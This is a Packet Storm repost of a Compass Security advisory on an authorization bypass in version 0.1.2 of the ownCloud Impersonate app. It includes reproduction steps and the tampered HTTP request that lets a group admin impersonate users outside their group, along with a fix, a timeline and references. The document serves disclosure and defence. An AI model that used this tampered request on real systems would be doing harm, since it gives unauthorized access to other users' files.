exploit the possibilities

ownCloud 0.1.2 User Impersonation Authorization Bypass

ownCloud 0.1.2 User Impersonation Authorization Bypass
Posted Aug 31, 2018
Authored by Thierry Viaccoz

ownCloud version 0.1.2 suffers from a user impersonation authorization bypass vulnerability.

tags | exploit, bypass
MD5 | 6bc5693824d5901a03d83caf7dbc9ee2

ownCloud 0.1.2 User Impersonation Authorization Bypass

Change Mirror Download
#############################################################
#
# COMPASS SECURITY ADVISORY
# https://www.compass-security.com/research/advisories/
#
#############################################################
#
# Product: ownCloud Impersonate
# Vendor: ownCloud
# CSNC ID: CSNC-2018-015
# CVE ID: N/A
# Subject: Authorization bypass
# Risk: High
# Effect: Remotely exploitable
# Author: Thierry Viaccoz <thierry.viaccoz@compass-security.com>
# Date: 29.08.2018
#
#############################################################


Introduction:
-------------
ownCloud [1] is a suite of client-server software for creating file hosting services and using them. An app called Impersonate [2] was created to allow administrators to impersonate other users.

According to the documentation [3], group admins should only be able to access users of the groups they are administrator of.

Compass Security discovered that it was possible for a group admin to impersonate any user, except global administrators.

This way, group admins have access to data of users of other groups, even though they shouldn't.


Affected:
---------
Vulnerable:
* Version 0.1.2

Not vulnerable:
* Version 0.2.0

No other version was tested, but it is believed for the older versions to be vulnerable too.


Technical Description
---------------------
In order to reproduce the vulnerability, follow the steps below.

Create two groups:
* group1
* group2

Create four users as follows:
* test1; group = group1; group admin = group1
* test2; group = group1; group admin = no group
* test3; group = group2; group admin = group2
* test4; group = group2; group admin = no group

Activate the Impersonate app in Settings > Admin > Apps.

Go to Settings > Admin > Apps > User Authentication, check "Allow group admins to impersonate users from these groups" and add the two groups "group1" and "group2".

Log in with "test1", open the user page and impersonate the user "test2". There, intercept the POST request to /apps/impersonate/user and replace "target=test2" by "target=test3" in the body as shown below.

As a result, the user "test1" will impersonate the user "test3", even though "test1" is only group admin of "group1" and "test3" is not in this group.

Request:
=========
POST /apps/impersonate/user HTTP/1.1
Host: demo.owncloud.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
requesttoken: [CUT]
OCS-APIREQUEST: true
X-Requested-With: XMLHttpRequest
Content-Length: 12
Cookie: [CUT]
Connection: close

target=test3
=========

Response:
=========
HTTP/1.1 200 OK
Cache-Control: no-cache, must-revalidate
Content-Length: 2
Content-Security-Policy: default-src 'none';manifest-src 'self';script-src 'self' 'unsafe-eval';style-src 'self' 'unsafe-inline';img-src 'self' data: blob:;font-src 'self';connect-src 'self';media-src 'self'
Content-Type: application/json; charset=utf-8
Date: Thu, 15 Mar 2018 15:21:14 GMT
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Pragma: no-cache
Server: Apache
Strict-Transport-Security: max-age=15768000; preload
X-Content-Type-Options: nosniff
X-Download-Options: noopen
X-Frame-Options: SAMEORIGIN
X-Permitted-Cross-Domain-Policies: none
X-Robots-Tag: none
X-Xss-Protection: 1; mode=block
Connection: close

[]
=========


Workaround / Fix:
-----------------
Check the authorization consistently to prevent group admins to be able to impersonate users from other groups.


Timeline:
---------
2018-08-29: Coordinated public disclosure date
2018-04-17: Release of fixed version 0.2.0
2018-03-16: Initial vendor response
2018-03-16: Initial vendor notification
2018-03-15: Discovery by Thierry Viaccoz


References:
-----------
[1] https://owncloud.org/
[2] https://marketplace.owncloud.com/apps/impersonate
[3] https://doc.owncloud.org/server/10.0/admin_manual/issues/impersonate_users.html

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

July 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    34 Files
  • 2
    Jul 2nd
    15 Files
  • 3
    Jul 3rd
    9 Files
  • 4
    Jul 4th
    8 Files
  • 5
    Jul 5th
    2 Files
  • 6
    Jul 6th
    3 Files
  • 7
    Jul 7th
    1 Files
  • 8
    Jul 8th
    15 Files
  • 9
    Jul 9th
    15 Files
  • 10
    Jul 10th
    20 Files
  • 11
    Jul 11th
    17 Files
  • 12
    Jul 12th
    15 Files
  • 13
    Jul 13th
    2 Files
  • 14
    Jul 14th
    1 Files
  • 15
    Jul 15th
    20 Files
  • 16
    Jul 16th
    27 Files
  • 17
    Jul 17th
    0 Files
  • 18
    Jul 18th
    0 Files
  • 19
    Jul 19th
    0 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close